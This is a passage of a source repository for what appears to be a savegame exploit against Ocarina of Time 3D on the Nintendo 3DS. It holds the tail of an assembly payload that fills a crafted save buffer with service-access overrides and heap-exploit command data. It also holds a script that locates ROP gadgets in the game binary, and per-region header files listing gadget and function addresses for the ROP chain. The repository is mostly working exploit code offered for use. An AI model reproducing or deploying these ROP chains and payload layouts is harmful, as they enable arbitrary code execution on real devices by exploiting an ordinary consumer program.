REPLACE_SRVACCESSCONTROL 535 | srvpm_string: 536 | .string "srv:pm" 537 | 538 | .space (_start + 0x1080) - . @ srv:pm cmd 539 | .word 0 @ ProcessID 540 | .word 0x18 @ Service access control size, in words 541 | .word 0x180002 542 | .word ROPBUF+SRVACCESS_OFF @ Service access control ptr 543 | #endif 544 | 545 | #if EXECHAX==0 546 | .space (_start + 0x1100) - . @ ps:ps VerifyRsaSha256 0x00020244 cmd, for FW1F 547 | //.word 1 548 | .word 0, 0, 0, 0, 0, 0, 0, 0 @ SHA256 hash 549 | .word 0 550 | .word 0x00820002 @ ((Ctx size<<14) | 2), for size 0x208. 551 | .word ROPBUF+RSAINFO_OFF @ Ctx 552 | .word (PSPS_SIGBUFSIZE<<4) | 10 553 | .word 0x08000000 @ Signature 554 | #endif 555 | 556 | #if EXECHAX==3 557 | .space (_start + 0x1180) - . @ cmd data for am:net command 0x08190108. 558 | .word 0xa00 @ Buf0 size 559 | .word 0xa00, 0xa00, 0xa00 + 0x3c + 8 @ Buf1size-buf3size 560 | .word (0xa00<<4) | 10 561 | .word HEAPHAX_INPUTBUF @ Buf0 addr 562 | .word (0xa00<<4) | 10 563 | .word HEAPHAX_INPUTBUF + (0xa00*1) @ Buf1 addr 564 | .word (0xa00<<4) | 10 565 | .word HEAPHAX_INPUTBUF + (0xa00*2) @ Buf2 addr 566 | .word ((0xa00 + 0x3c + 8)<<4) | 10 567 | .word HEAPHAX_INPUTBUF + (0xa00*3) @ Buf3 addr 568 | #endif 569 | 570 | #if EXECHAX==3 571 | .space (_start + 0x1200) - . @ cmd data for am:net command 0x00190040 ReloadDBS. 572 | .word 1 @ Mediatype = SD 573 | #endif 574 | 575 | .space (_start + 0x13bc) - . 576 | .word 2012, 10, 22 @ Datetime displayed on the save-file select screen. 577 | .word 13, 8 578 | 579 | .space (_start + 0x14dc) - . 580 | 581 | -------------------------------------------------------------------------------- /oot3dhax_geninc.sh: -------------------------------------------------------------------------------- 1 | # Usage: ./oot3dhax_geninc.sh 2 | 3 | $1/generate_ropinclude.sh $2 $1 4 | if [[ $? -ne 0 ]]; then 5 | echo "//ERROR: 3ds_ropkit generate_ropinclude.sh returned an error." 6 | exit 1 7 | fi 8 | 9 | echo "" 10 | 11 | # Calls srv_RegisterClient(), increments *r6, L_30aedc(sp+0), then executes "pop {r3, r4, r5, r6, r7, pc}". L_30aedc decreases *(inr0+8) by 1, and returns if that's >0 after decreasing it. 12 | OOT3D_SRV_PATTERNCMD="--patterntype=sha256 --patterndata=1ebc0da2afb0458cd1130bb759b3ee38359a3e157825bd4fbc850d682019b66d --patterndatamask=000000ffffffffffffffffffffffffffffffffffffffffff000000ffffffffffffffffff0000000000000000ffffffffffffffffffffffff --patternsha256size=0x38" 13 | printstr=`ropgadget_patternfinder $2 --baseaddr=0x100000 $OOT3D_SRV_PATTERNCMD "--plainout=#define srvinit_RegisterClient "` 14 | 15 | if [[ $? -eq 0 ]]; then 16 | echo "$printstr" 17 | else 18 | echo "//WARNING: srvinit_RegisterClient not found." 19 | fi 20 | 21 | # Locate SRV_SESSIONHANDLE. 22 | printstr=`ropgadget_patternfinder $2 --baseaddr=0x100000 $OOT3D_SRV_PATTERNCMD --dataload=0x3c "--plainout=#define SRV_SESSIONHANDLE "` 23 | 24 | if [[ $? -eq 0 ]]; then 25 | echo "$printstr" 26 | else 27 | echo "//WARNING: SRV_SESSIONHANDLE not found." 28 | fi 29 | 30 | # mov r4, r0. ptr = inr0, if(*ptr)svcCloseHandle(*ptr). *ptr = 0, r0 = ptr, "pop {r4, pc}". 31 | printstr=`ropgadget_patternfinder $2 --baseaddr=0x100000 --patterntype=sha256 --patterndata=21665d66ea3ddfbdd79414c8d822e69303e74b5ac7bce44aaedf9bd7013b5e39 --patternsha256size=0x24 "--plainout=#define CLOSEHANDLE "` 32 | 33 | if [[ $? -eq 0 ]]; then 34 | echo "$printstr" 35 | else 36 | echo "//WARNING: CLOSEHANDLE not found." 37 | fi 38 | 39 | # Stores r0 from "mrc 15, 0, r0, cr13, cr0, {3}" to r3+4, increments the word @ r3+8, r0=1 then pop {r4} bx lr 40 | printstr=`ropgadget_patternfinder $2 --baseaddr=0x100000 --patterntype=sha256 --patterndata=4756715c4a4e99e6c2ca7ff72bd4ea4115713e1c9d36983b27285dafb5b45114 --patternsha256size=0x20 "--plainout=#define GETTHREADSTORAGE "` 41 | 42 | if [[ $? -eq 0 ]]; then 43 | echo "$printstr" 44 | else 45 | echo "//WARNING: GETTHREADSTORAGE not found." 46 | fi 47 | 48 | # r4 = r0 + r1<<2. classptr = *(r5+0x38). Calls vtable funcptr +16 with r3 for the funcptr, r2=*r4, r1= 49 | printstr=`ropgadget_patternfinder $2 --baseaddr=0x100000 --patterntype=sha256 --patterndata=23231e1ffd8a1c7334687414fcd4d63435c4d1279c86f85806da4b6438a236d3 --patternsha256size=0x24 "--plainout=#define ADDSHIFTVAL_BLXR3 "` 50 | 51 | if [[ $? -eq 0 ]]; then 52 | echo "$printstr" 53 | else 54 | echo "//WARNING: ADDSHIFTVAL_BLXR3 not found." 55 | fi 56 | 57 | # Locate THROWFATALERR. 58 | printstr=`ropgadget_patternfinder $2 --baseaddr=0x100000 --patterntype=sha256 --patterndata=6092772bed3e7da9bcbae4252528d002e4ca8d4cdd80249bd089d60af3cd8643 --patternsha256size=0x28 "--plainout=#define THROWFATALERR "` 59 | 60 | if [[ $? -eq 0 ]]; then 61 | echo "$printstr" 62 | else 63 | echo "//WARNING: THROWFATALERR not found." 64 | fi 65 | 66 | echo "" 67 | 68 | # Locate ROPBUF, the savedata buffer. 69 | printstr=`ropgadget_patternfinder $2 --baseaddr=0x100000 --patterntype=sha256 --patterndata=7958683afb59cb211a8ea7d5387195cb509ca2a32a1edb21e12a2eb8efded11b --patternsha256size=0x8 --dataload=0xfffffffc "--plainout=#define ROPBUF "` 70 | 71 | if [[ $? -eq 0 ]]; then 72 | echo "$printstr" 73 | else 74 | echo "//ERROR: ROPBUF not found." 75 | exit 1 76 | fi 77 | -------------------------------------------------------------------------------- /ropinclude/chntwn: -------------------------------------------------------------------------------- 1 | #define ROP_POPPC 0x001006b8 2 | #define POP_R1PC 0x00300ae8 3 | #define POP_R3PC 0x0014dca0 4 | #define POP_R2R6PC 0x0012f5d4 5 | #define POP_R4LR_BXR1 0x00126fe8 6 | #define POP_R4R8LR_BXR2 0x00240198 7 | #define POP_R4R5R6PC 0x00100194 8 | #define POP_R4FPPC 0x00100590 9 | #define POP_R4R8PC 0x00100fb4 10 | 11 | #define ROP_STR_R1TOR0 0x0013a284 12 | #define ROP_STR_R0TOR1 0x0013a270 13 | #define ROP_LDR_R0FROMR0 0x0011447c 14 | #define ROP_ADDR0_TO_R1 0x00172030 15 | 16 | #define MEMCPY 0x0031f184 17 | #define MEMSET32_OTHER 0x00323368 18 | 19 | #define svcControlMemory 0x003229ac 20 | #define svcSleepThread 0x0011ee00 21 | 22 | #define GSPGPU_FlushDataCache 0x0016ff0c 23 | #define GSPGPU_SERVHANDLEADR 0x00566e44 24 | 25 | #define IFile_Read 0x003219d0 26 | #define IFile_Write 0x0011f978 27 | 28 | #define ROP_POPR3_ADDSPR3_POPPC 0x00188000 29 | #define POP_R0PC 0x001532a0 30 | #define POP_R5R6PC 0x0018cd54 31 | #define ROP_CMPR0R1_ALT0 0x004b1ccc 32 | #define ROP_INITOBJARRAY 0x00321504 33 | #define svcCreateThread 0x0010c014 34 | #define svcConnectToPort 0x0031d168 35 | #define svcGetProcessId 0x0011ede8 36 | #define SRV_GETSERVICEHANDLE 0x0031db0c 37 | #define CFGIPC_SecureInfoGetRegion 0x0011fb24 38 | #define ROP_COND_THROWFATALERR 0x00105460 39 | #define GXLOW_CMD4 0x00179ff8 40 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x004b1168 41 | //WARNING: FS_MountSdmc not found. 42 | #define FS_MountSavedata 0x00311878 43 | #define IFile_Open 0x00321ae0 44 | #define IFile_Close 0x3219b8 45 | 46 | //WARNING: srvinit_RegisterClient not found. 47 | //WARNING: SRV_SESSIONHANDLE not found. 48 | //WARNING: CLOSEHANDLE not found. 49 | //WARNING: GETTHREADSTORAGE not found. 50 | //WARNING: ADDSHIFTVAL_BLXR3 not found. 51 | //WARNING: THROWFATALERR not found. 52 | 53 | #define ROPBUF 0x00595fd0 54 | -------------------------------------------------------------------------------- /ropinclude/eur: -------------------------------------------------------------------------------- 1 | #define ROP_POPPC 0x00150360 2 | #define POP_R1PC 0x00368fbc 3 | #define POP_R3PC 0x00145148 4 | #define POP_R2R6PC 0x0044820c 5 | #define POP_R4LR_BXR1 0x00238710 6 | #define POP_R4R8LR_BXR2 0x00190e64 7 | #define POP_R4R5R6PC 0x001005c4 8 | #define POP_R4FPPC 0x00100eb8 9 | #define POP_R4R8PC 0x001004bc 10 | 11 | #define ROP_STR_R1TOR0 0x00309258 12 | #define ROP_STR_R0TOR1 0x002baedc 13 | #define ROP_LDR_R0FROMR0 0x002d1230 14 | #define ROP_ADDR0_TO_R1 0x002c2930 15 | 16 | #define MEMCPY 0x0034338c 17 | #define MEMSET32_OTHER 0x00343280 18 | 19 | #define svcControlMemory 0x00301a0c 20 | #define svcSleepThread 0x004221c8 21 | 22 | #define GSPGPU_FlushDataCache 0x00453f64 23 | #define GSPGPU_SERVHANDLEADR 0x00558aac 24 | 25 | #define IFile_Read 0x0030ecfc 26 | #define IFile_Write 0x00435ed8 27 | 28 | #define ROP_POPR3_ADDSPR3_POPPC 0x004a5ae4 29 | #define POP_R0PC 0x00470784 30 | #define POP_R5R6PC 0x004aa754 31 | #define ROP_CMPR0R1 0x001002a0 32 | #define ROP_INITOBJARRAY 0x00350820 33 | #define svcCreateThread 0x004221a4 34 | #define svcConnectToPort 0x002fa7b8 35 | #define svcGetProcessId 0x0030794c 36 | #define THROWFATALERR_IPC 0x004360b0 37 | #define SRV_GETSERVICEHANDLE 0x0030dde8 38 | #define CFGIPC_SecureInfoGetRegion 0x00435ffc 39 | #define ROP_COND_THROWFATALERR_ALT0 0x003ffa58 40 | #define GXLOW_CMD4 0x00493bb4 41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x00401860 42 | //WARNING: FS_MountSdmc not found. 43 | #define FS_MountSavedata 0x002fc0c8 44 | #define IFile_Open 0x0030d580 45 | #define IFile_Close 0x30d614 46 | 47 | #define srvinit_RegisterClient 0x0030df98 48 | #define SRV_SESSIONHANDLE 0x00558ad4 49 | #define CLOSEHANDLE 0x00400a54 50 | #define GETTHREADSTORAGE 0x002db5ac 51 | #define ADDSHIFTVAL_BLXR3 0x003201dc 52 | #define THROWFATALERR 0x003351b4 53 | 54 | #define ROPBUF 0x00587958 55 | -------------------------------------------------------------------------------- /ropinclude/jpn: -------------------------------------------------------------------------------- 1 | #define ROP_POPPC 0x00150360 2 | #define POP_R1PC 0x00368ad4 3 | #define POP_R3PC 0x00145148 4 | #define POP_R2R6PC 0x004481c4 5 | #define POP_R4LR_BXR1 0x00238710 6 | #define POP_R4R8LR_BXR2 0x00190e64 7 | #define POP_R4R5R6PC 0x001005c4 8 | #define POP_R4FPPC 0x00100eb8 9 | #define POP_R4R8PC 0x001004bc 10 | 11 | #define ROP_STR_R1TOR0 0x00308d70 12 | #define ROP_STR_R0TOR1 0x002ba9f4 13 | #define ROP_LDR_R0FROMR0 0x002d0d48 14 | #define ROP_ADDR0_TO_R1 0x002c2448 15 | 16 | #define MEMCPY 0x00342ea4 17 | #define MEMSET32_OTHER 0x00342d98 18 | 19 | #define svcControlMemory 0x00301524 20 | #define svcSleepThread 0x0042217c 21 | 22 | #define GSPGPU_FlushDataCache 0x00453f1c 23 | #define GSPGPU_SERVHANDLEADR 0x00558aac 24 | 25 | #define IFile_Read 0x0030e814 26 | #define IFile_Write 0x00435e8c 27 | 28 | #define ROP_POPR3_ADDSPR3_POPPC 0x004a5a9c 29 | #define POP_R0PC 0x0047073c 30 | #define POP_R5R6PC 0x004aa754 31 | #define ROP_CMPR0R1 0x001002a0 32 | #define ROP_INITOBJARRAY 0x00350338 33 | #define svcCreateThread 0x00422158 34 | #define svcConnectToPort 0x002fa2d0 35 | #define svcGetProcessId 0x00307464 36 | #define THROWFATALERR_IPC 0x00436064 37 | #define SRV_GETSERVICEHANDLE 0x0030d900 38 | #define CFGIPC_SecureInfoGetRegion 0x00435fb0 39 | #define ROP_COND_THROWFATALERR_ALT0 0x003ffa58 40 | #define GXLOW_CMD4 0x00493b6c 41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x00401860 42 | //WARNING: FS_MountSdmc not found. 43 | #define FS_MountSavedata 0x002fbbe0 44 | #define IFile_Open 0x0030d098 45 | #define IFile_Close 0x30d12c 46 | 47 | #define srvinit_RegisterClient 0x0030dab0 48 | #define SRV_SESSIONHANDLE 0x00558ad4 49 | #define CLOSEHANDLE 0x00400a54 50 | #define GETTHREADSTORAGE 0x002db0c4 51 | #define ADDSHIFTVAL_BLXR3 0x0031fcf4 52 | #define THROWFATALERR 0x00334ccc 53 | 54 | #define ROPBUF 0x00587958 55 | -------------------------------------------------------------------------------- /ropinclude/kor: -------------------------------------------------------------------------------- 1 | #define ROP_POPPC 0x001006b8 2 | #define POP_R1PC 0x003009e8 3 | #define POP_R3PC 0x0014dbc8 4 | #define POP_R2R6PC 0x0012f4fc 5 | #define POP_R4LR_BXR1 0x00126f10 6 | #define POP_R4R8LR_BXR2 0x00240098 7 | #define POP_R4R5R6PC 0x00100194 8 | #define POP_R4FPPC 0x00100590 9 | #define POP_R4R8PC 0x00100fb4 10 | 11 | #define ROP_STR_R1TOR0 0x0013a1ac 12 | #define ROP_STR_R0TOR1 0x0013a198 13 | #define ROP_LDR_R0FROMR0 0x001143a4 14 | #define ROP_ADDR0_TO_R1 0x00171f58 15 | 16 | #define MEMCPY 0x0031f084 17 | #define MEMSET32_OTHER 0x00323268 18 | 19 | #define svcControlMemory 0x003228ac 20 | #define svcSleepThread 0x0011ed28 21 | 22 | #define GSPGPU_FlushDataCache 0x0016fe34 23 | #define GSPGPU_SERVHANDLEADR 0x00566e44 24 | 25 | #define IFile_Read 0x003218d0 26 | #define IFile_Write 0x0011f8a0 27 | 28 | #define ROP_POPR3_ADDSPR3_POPPC 0x00187f28 29 | #define POP_R0PC 0x001531c8 30 | #define POP_R5R6PC 0x0018cc54 31 | #define ROP_CMPR0R1_ALT0 0x004b1bcc 32 | #define ROP_INITOBJARRAY 0x00321404 33 | #define svcCreateThread 0x0010bf3c 34 | #define svcConnectToPort 0x0031d068 35 | #define svcGetProcessId 0x0011ed10 36 | #define SRV_GETSERVICEHANDLE 0x0031da0c 37 | #define CFGIPC_SecureInfoGetRegion 0x0011fa4c 38 | #define ROP_COND_THROWFATALERR 0x00105388 39 | #define GXLOW_CMD4 0x00179f20 40 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x004b1068 41 | //WARNING: FS_MountSdmc not found. 42 | #define FS_MountSavedata 0x00311778 43 | #define IFile_Open 0x003219e0 44 | #define IFile_Close 0x3218b8 45 | 46 | //WARNING: srvinit_RegisterClient not found. 47 | //WARNING: SRV_SESSIONHANDLE not found. 48 | //WARNING: CLOSEHANDLE not found. 49 | //WARNING: GETTHREADSTORAGE not found. 50 | //WARNING: ADDSHIFTVAL_BLXR3 not found. 51 | //WARNING: THROWFATALERR not found. 52 | 53 | #define ROPBUF 0x00595fd0 54 | -------------------------------------------------------------------------------- /ropinclude/usa: -------------------------------------------------------------------------------- 1 | #define ROP_POPPC 0x00150360 2 | #define POP_R1PC 0x00368fbc 3 | #define POP_R3PC 0x00145148 4 | #define POP_R2R6PC 0x004481ec 5 | #define POP_R4LR_BXR1 0x00238710 6 | #define POP_R4R8LR_BXR2 0x00190e64 7 | #define POP_R4R5R6PC 0x001005c4 8 | #define POP_R4FPPC 0x00100eb8 9 | #define POP_R4R8PC 0x001004bc 10 | 11 | #define ROP_STR_R1TOR0 0x00309258 12 | #define ROP_STR_R0TOR1 0x002baedc 13 | #define ROP_LDR_R0FROMR0 0x002d1230 14 | #define ROP_ADDR0_TO_R1 0x002c2930 15 | 16 | #define MEMCPY 0x0034338c 17 | #define MEMSET32_OTHER 0x00343280 18 | 19 | #define svcControlMemory 0x00301a0c 20 | #define svcSleepThread 0x004221a4 21 | 22 | #define GSPGPU_FlushDataCache 0x00453f44 23 | #define GSPGPU_SERVHANDLEADR 0x00558aac 24 | 25 | #define IFile_Read 0x0030ecfc 26 | #define IFile_Write 0x00435eb4 27 | 28 | #define ROP_POPR3_ADDSPR3_POPPC 0x004a5ac4 29 | #define POP_R0PC 0x00470764 30 | #define POP_R5R6PC 0x004aa754 31 | #define ROP_CMPR0R1 0x001002a0 32 | #define ROP_INITOBJARRAY 0x00350820 33 | #define svcCreateThread 0x00422180 34 | #define svcConnectToPort 0x002fa7b8 35 | #define svcGetProcessId 0x0030794c 36 | #define THROWFATALERR_IPC 0x0043608c 37 | #define SRV_GETSERVICEHANDLE 0x0030dde8 38 | #define CFGIPC_SecureInfoGetRegion 0x00435fd8 39 | #define ROP_COND_THROWFATALERR_ALT0 0x003ffa58 40 | #define GXLOW_CMD4 0x00493b94 41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x00401860 42 | //WARNING: FS_MountSdmc not found. 43 | #define FS_MountSavedata 0x002fc0c8 44 | #define IFile_Open 0x0030d580 45 | #define IFile_Close 0x30d614 46 | 47 | #define srvinit_RegisterClient 0x0030df98 48 | #define SRV_SESSIONHANDLE 0x00558ad4 49 | #define CLOSEHANDLE 0x00400a54 50 | #define GETTHREADSTORAGE 0x002db5ac 51 | #define ADDSHIFTVAL_BLXR3 0x003201dc 52 | #define THROWFATALERR 0x003351b4 53 | 54 | #define ROPBUF 0x00587958 55 | --------------------------------------------------------------------------------